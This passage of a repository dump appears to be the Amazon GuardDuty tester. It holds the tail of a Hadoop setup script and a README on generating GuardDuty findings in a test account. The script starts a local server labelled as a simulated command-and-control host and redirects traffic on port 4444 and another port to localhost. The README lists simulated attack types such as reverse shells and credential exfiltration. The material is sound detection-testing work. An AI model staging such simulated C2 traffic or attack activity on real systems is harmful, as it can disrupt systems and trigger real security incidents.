#HADOOP_HOME 96 | export HADOOP_HOME=/usr/local/hadoop-3.3.6 97 | export HADOOP_INSTALL=$HADOOP_HOME 98 | export HADOOP_MAPRED_HOME=$HADOOP_HOME 99 | export HADOOP_COMMON_HOME=$HADOOP_HOME 100 | export HADOOP_CONF_DIR=$HADOOP_HOME/etc/hadoop 101 | export HADOOP_HDFS_HOME=$HADOOP_HOME 102 | export YARN_HOME=$HADOOP_HOME 103 | export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native 104 | export PATH=$PATH:$HADOOP_HOME/sbin:$HADOOP_HOME/bin 105 | #JAVA_HOME 106 | export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64/jre 107 | export PATH=$PATH:$JAVA_HOME/bin 108 | #HADOOP_HOME 109 | export HADOOP_HOME=/usr/local/hadoop-3.3.6 110 | export HADOOP_INSTALL=$HADOOP_HOME 111 | export HADOOP_MAPRED_HOME=$HADOOP_HOME 112 | export HADOOP_COMMON_HOME=$HADOOP_HOME 113 | export HADOOP_CONF_DIR=$HADOOP_HOME/etc/hadoop 114 | export HADOOP_HDFS_HOME=$HADOOP_HOME 115 | export YARN_HOME=$HADOOP_HOME 116 | export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native 117 | export PATH=$PATH:$HADOOP_HOME/sbin:$HADOOP_HOME/bin 118 | 119 | # Update hadoop-env.sh 120 | echo "Updating hadoop-env.sh..." 121 | echo "export JAVA_HOME=$JAVA_HOME" >> $HADOOP_CONF_DIR/hadoop-env.sh 122 | echo "export HADOOP_CONF_DIR=/usr/local/hadoop-3.3.6/etc/hadoop" >> $HADOOP_CONF_DIR/hadoop-env.sh 123 | check_error "Failed to update hadoop-env.sh" 124 | 125 | # Get EC2 instance DNS name 126 | #DNS_NAME=$(curl -s --connect-timeout 5 http://169.254.169.254/latest/meta-data/public-hostname) 127 | DNS_NAME="localhost" 128 | echo "DNS Name is $DNS_NAME" 129 | check_error "Failed to get EC2 instance DNS name" 130 | 131 | # Update configuration files 132 | echo "Updating Hadoop configuration files..." 133 | 134 | # core-site.xml 135 | backup_config "$HADOOP_CONF_DIR/core-site.xml" 136 | cat << EOF_CORE_SITE > $HADOOP_CONF_DIR/core-site.xml 137 | 138 | 139 | fs.defaultFS 140 | hdfs://$DNS_NAME:9868 141 | 142 | 143 | EOF_CORE_SITE 144 | check_error "Failed to update core-site.xml" 145 | 146 | # yarn-site.xml 147 | backup_config "$HADOOP_CONF_DIR/yarn-site.xml" 148 | cat << EOF_YARN_SITE > $HADOOP_CONF_DIR/yarn-site.xml 149 | 150 | 151 | yarn.nodemanager.aux-services 152 | mapreduce_shuffle 153 | 154 | 155 | yarn.resourcemanager.hostname 156 | $DNS_NAME 157 | 158 | 159 | EOF_YARN_SITE 160 | check_error "Failed to update yarn-site.xml" 161 | 162 | # mapred-site.xml 163 | cp $HADOOP_CONF_DIR/mapred-site.xml.template $HADOOP_CONF_DIR/mapred-site.xml 2>/dev/null || touch $HADOOP_CONF_DIR/mapred-site.xml 164 | cat << EOF_MAPRED_SITE > $HADOOP_CONF_DIR/mapred-site.xml 165 | 166 | 167 | mapreduce.jobtracker.address 168 | $DNS_NAME:54311 169 | 170 | 171 | mapreduce.framework.name 172 | yarn 173 | 174 | 175 | EOF_MAPRED_SITE 176 | check_error "Failed to update mapred-site.xml" 177 | 178 | # hdfs-site.xml 179 | backup_config "$HADOOP_CONF_DIR/hdfs-site.xml" 180 | cat << EOF_HDFS_SITE > $HADOOP_CONF_DIR/hdfs-site.xml 181 | 182 | 183 | dfs.replication 184 | 1 185 | 186 | 187 | dfs.namenode.name.dir 188 | file:///usr/local/hadoop-3.3.6/data/hdfs/namenode 189 | 190 | 191 | dfs.datanode.data.dir 192 | file:///usr/local/hadoop-3.3.6/data/hdfs/datanode 193 | 194 | 195 | EOF_HDFS_SITE 196 | check_error "Failed to update hdfs-site.xml" 197 | 198 | # Setup SSH keys 199 | echo "Setting up SSH keys..." 200 | rm -f ~/.ssh/id_ed25519 201 | ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N "" 202 | check_error "Failed to generate SSH keys" 203 | cat ~/.ssh/id_ed25519.pub >> ~/.ssh/authorized_keys 204 | check_error "Failed to update authorized_keys" 205 | 206 | # Create HDFS directories 207 | echo "Creating HDFS directories..." 208 | sudo mkdir -p $HADOOP_HOME/data/hdfs/namenode 209 | sudo mkdir -p $HADOOP_HOME/data/hdfs/datanode 210 | check_error "Failed to create HDFS directories" 211 | 212 | sudo chown -R ubuntu $HADOOP_HOME 213 | check_error "Failed to change ownership of Hadoop directory" 214 | 215 | echo "Shutting down Hadoop services in case they are already running..." 216 | 217 | $HADOOP_HOME/sbin/stop-dfs.sh 218 | check_error "Failed to stop DFS" 219 | 220 | $HADOOP_HOME/sbin/stop-yarn.sh 221 | check_error "Failed to stop YARN" 222 | 223 | $HADOOP_HOME/sbin/mr-jobhistory-daemon.sh stop historyserver 224 | check_error "Failed to stop history server" 225 | 226 | # Start Hadoop services 227 | echo "Starting Hadoop services..." 228 | hdfs namenode -format 229 | check_error "Failed to format namenode" 230 | 231 | $HADOOP_HOME/sbin/start-dfs.sh 232 | check_error "Failed to start DFS" 233 | 234 | $HADOOP_HOME/sbin/start-yarn.sh 235 | check_error "Failed to start YARN" 236 | 237 | $HADOOP_HOME/sbin/mr-jobhistory-daemon.sh start historyserver 238 | check_error "Failed to start history server" 239 | 240 | echo "Hadoop setup completed successfully!" 241 | 242 | echo "Running the python server to act as a CnC..." 243 | nohup python3 $SCENARIO_HOME/files/python_server.py > /tmp/python_server.log 2>&1 & 244 | 245 | echo "Setting up IPTables to redirect CnC traffic to localhost..." 246 | sudo apt install -y iptables 247 | sudo iptables -t nat -A OUTPUT -d 203.0.113.1 -p tcp --dport 33333 -j DNAT --to-destination 127.0.0.1:8081 248 | sudo iptables -t nat -A OUTPUT -d 203.0.113.1 -p tcp --dport 4444 -j DNAT --to-destination 127.0.0.1:4444 249 | EOF 250 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GuardDuty Findings Tester 2 | 3 | This repository contains scripts and guidance that can be used as a proof-of-concept to generate Amazon GuardDuty findings related to real AWS resources. There are multiple tests that can be run independently or together depending on the findings you are looking to generate. These scripts do not generate examples for every possible GuardDuty finding type but do help provide insight that can help in understanding how to view and respond to GuardDuty findings for resources deployed in your environment. 4 | 5 | It is recommended that these tests be deployed in a non-production account to ensure that findings generated by these tests can be clearly identified. Additionally, the permissions to deploy these tests are quite broad and using a non-production account helps to ensure that these permissions are contained to an account where the impact of these permissions is reduced. 6 | 7 | ## Deploy Testing Environment 8 | 9 | ### Pre-requisites 10 | - git 11 | - awscli 12 | - Session Manager Plugin [installation instructions](https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html) 13 | - npm 14 | - Docker 15 | 16 | ### Deploy 17 | 18 | AWS credentials staged which have enough permissions for deploying all the resources listed in this solution are required to deploy the testing environment. Running `cdk deploy` from the amazon-guardduty-tester directory will build the tester resources (see below) in the aws cli default account and region unless the account region variables are manually set in the `bin/cdk-gd-tester.ts` file. Use either approach to define where to deploy the tester. 19 | 20 | - `git clone https://github.com/awslabs/amazon-guardduty-tester && cd amazon-guardduty-tester` 21 | - `npm install` 22 | - `cdk bootstrap #if region not bootstrapped previously` 23 | - `cdk deploy` 24 | 25 | ![Alt text](GuardDutyTester.png) 26 | 27 | ## Run Tests 28 | 29 | ### Start Session with Test Driver 30 | 31 | After the deployment of resources is complete save the region to which you deployed as variables in your terminal: 32 | ``` 33 | $ REGION= 34 | ``` 35 | 36 | The tester is only accessible through AWS System Manager (SSM) an operations hub for AWS applications and resources, providing a secure end-to-end management solution. To start an interactive shell on the tester host instance, query the instance id of the host and set it as the 'target' of the session and set the entrance path and command. 37 | 38 | Run the following command to begin your session with the tester: 39 | ``` 40 | aws ssm start-session \ 41 | --region $REGION \ 42 | --document-name AWS-StartInteractiveCommand \ 43 | --parameters command="cd /home/ssm-user/py_tester && bash -l" \ 44 | --target $(aws ec2 describe-instances \ 45 | --region $REGION \ 46 | --filters "Name=tag:Name,Values=Driver-GuardDutyTester" \ 47 | --query "Reservations[].Instances[?State.Name=='running'].InstanceId" \ 48 | --output text) 49 | ``` 50 | 51 | ### Generate Findings 52 | The tester is a python based program that dynamically builds a bash script to generate findings based on user input. You have many options to generate findings based on resource, tactic, GuardDuty feature, log source, and even as granular as one or more specific finding type. 53 | `python3 guardduty_tester.py --help` output gives usage. 54 | 55 | ``` 56 | EXAMPLES: 57 | python3 guardduty_tester.py 58 | python3 guardduty_tester.py --all 59 | python3 guardduty_tester.py --s3 60 | python3 guardduty_tester.py --tactics discovery 61 | python3 guardduty_tester.py --ec2 --eks --tactics backdoor policy execution 62 | python3 guardduty_tester.py --eks --runtime only 63 | python3 guardduty_tester.py --ec2 --runtime only --tactics impact 64 | python3 guardduty_tester.py --log-source dns vpc-flowlogs 65 | python3 guardduty_tester.py --finding 'CryptoCurrency:EC2/BitcoinTool.B!DNS' 66 | ``` 67 | 68 | ### Important Callout 69 | GuardDuty has many features that can be enabled/disabled on an account level such as EKS/ECS/EC2 Runtime Monitoring, Lambda protection, etc. The tester will check these and other account level settings required for the tests requested by the given parameters. Before any account level change is made, the tester will requets user permission and after the tests are completed, the account will be restored to its original state. It is important to note that any changes to GuardDuty protections may begin the 30 day free trial. 70 | 71 | ## Cleanup Test Resources 72 | When finished testing, run `cdk destroy` or delete the CloudFormation stack on the console in order to delete the resources created by the above deployment steps 73 | 74 | ## Troubleshooting 75 | Common issues: 76 | - `Cloud assembly schema version mismatch` -> update the AWS CDK CLI to a version. For more info see https://docs.aws.amazon.com/cdk/v2/guide/versioning.html#cdk_toolkit_versioning 77 | - `Docker permission denied` -> Add the current user to the docker group to be able to run in rootless mode. Example: `sudo usermod -aG docker $USER` 78 | - Deployment can fail due to Availability Zone incompatibility, if you encounter this error see [this post](https://repost.aws/knowledge-center/ec2-instance-type-not-supported-az-error) from knowledge AWS share, and either choose a new region or hardcode the region/AZ you wish to deploy in. For region edit the `bin/cdk-gd-tester.ts` file to reflect your desired region and for AZ edit the `lib/common/network/vpc.ts` file and replace `maxAzs: 2,` with `availabilityZones: ['', '' ... ],` 79 | - AMI updates may result in unexpected failures during testing due to changes in available tools or installation procedures 80 | - When findings are missing, validate that the SSM Run Command for document `AWS-RunShellScript` executed successfully 81 | - Some EC2 finding tests generate large amounts of traffic, if findings are missing it is recommended to run the test for that specific finding again 82 | - If issues persist please delete the stack and redeploy 83 | 84 | ## Findings Tester Can Generate 85 | Runtime findings are applicable to EC2, ECS, and EKS workloads provided the GuardDuty security agent is installed and operating properly. However, some container findings such as `PrivilegeEscalation:Runtime/RuncContainerEscape` are for containers only and as such are only ECS and EKS applicable. 86 | 87 | ``` 88 | - Backdoor:EC2/C&CActivity.B!DNS 89 | - Backdoor:EC2/DenialOfService.Dns 90 | - Backdoor:EC2/DenialOfService.Udp 91 | - Backdoor:Runtime/C&CActivity.B!DNS 92 | - CryptoCurrency:EC2/BitcoinTool.B!DNS 93 | - CryptoCurrency:Runtime/BitcoinTool.B!DNS 94 | - DefenseEvasion:Runtime/ProcessInjection.Ptrace 95 | - DefenseEvasion:Runtime/ProcessInjection.VirtualMemoryWrite 96 | - Discovery:Kubernetes/MaliciousIPCaller.Custom 97 | - Discovery:Kubernetes/SuccessfulAnonymousAccess 98 | - Discovery:Kubernetes/TorIPCaller 99 | - Discovery:S3/MaliciousIPCaller.Custom 100 | - Discovery:S3/TorIPCaller 101 | - Execution:Kubernetes/ExecInKubeSystemPod 102 | - Execution:Runtime/ReverseShell 103 | - Impact:EC2/AbusedDomainRequest.Reputation 104 | - Impact:EC2/BitcoinDomainRequest.Reputation 105 | - Impact:EC2/MaliciousDomainRequest.Reputation 106 | - Impact:EC2/SuspiciousDomainRequest.Reputation 107 | - Impact:Kubernetes/MaliciousIPCaller.Custom 108 | - Impact:Runtime/AbusedDomainRequest.Reputation 109 | - Impact:Runtime/BitcoinDomainRequest.Reputation 110 | - Impact:Runtime/MaliciousDomainRequest.Reputation 111 | - Impact:Runtime/SuspiciousDomainRequest.Reputation 112 | - PenTest:IAMUser/KaliLinux 113 | - PenTest:S3/KaliLinux 114 | - Persistence:Kubernetes/ContainerWithSensitiveMount 115 | - Policy:Kubernetes/AdminAccessToDefaultServiceAccount 116 | - Policy:Kubernetes/AnonymousAccessGranted 117 | - Policy:S3/AccountBlockPublicAccessDisabled 118 | - Policy:S3/BucketAnonymousAccessGranted 119 | - Policy:S3/BucketBlockPublicAccessDisabled 120 | - Policy:S3/BucketPublicAccessGranted 121 | - PrivilegeEscalation:Kubernetes/PrivilegedContainer 122 | - PrivilegeEscalation:Runtime/ContainerMountsHostDirectory 123 | - PrivilegeEscalation:Runtime/DockerSocketAccessed 124 | - Recon:EC2/Portscan 125 | - Recon:IAMUser/MaliciousIPCaller.Custom 126 | - Recon:IAMUser/TorIPCaller 127 | - Stealth:IAMUser/CloudTrailLoggingDisabled 128 | - Stealth:IAMUser/PasswordPolicyChange 129 | - Stealth:S3/ServerAccessLoggingDisabled 130 | - Trojan:EC2/BlackholeTraffic!DNS 131 | - Trojan:EC2/DGADomainRequest.C!DNS 132 | - Trojan:EC2/DNSDataExfiltration 133 | - Trojan:EC2/DriveBySourceTraffic!DNS 134 | - Trojan:EC2/DropPoint!DNS 135 | - Trojan:EC2/PhishingDomainRequest!DNS 136 | - Trojan:Runtime/BlackholeTraffic!DNS 137 | - Trojan:Runtime/DGADomainRequest.C!DNS 138 | - Trojan:Runtime/DriveBySourceTraffic!DNS 139 | - Trojan:Runtime/DropPoint!DNS 140 | - Trojan:Runtime/PhishingDomainRequest!DNS 141 | - UnauthorizedAccess:EC2/MaliciousIPCaller.Custom 142 | - UnauthorizedAccess:EC2/RDPBruteForce 143 | - UnauthorizedAccess:EC2/SSHBruteForce 144 | - UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS 145 | - UnauthorizedAccess:IAMUser/MaliciousIPCaller.Custom 146 | - UnauthorizedAccess:IAMUser/TorIPCaller 147 | - UnauthorizedAccess:Lambda/MaliciousIPCaller.Custom 148 | - UnauthorizedAccess:S3/MaliciousIPCaller.Custom 149 | - UnauthorizedAccess:S3/TorIPCaller 150 | ``` 151 | 152 | ## Additional Findings Expected 153 | If Malware Protection is enabled then Malware findings are expected to be generated depending on tests run. No manual scanning capabilities have been included in the tester at this time because such scans are not free trial eligible. 154 | 155 | UnauthorizedAccess:EC2/TorClient findings are expected during infrastructure deployment and are likely to occur during many TorIPCaller finding tests. 156 | --------------------------------------------------------------------------------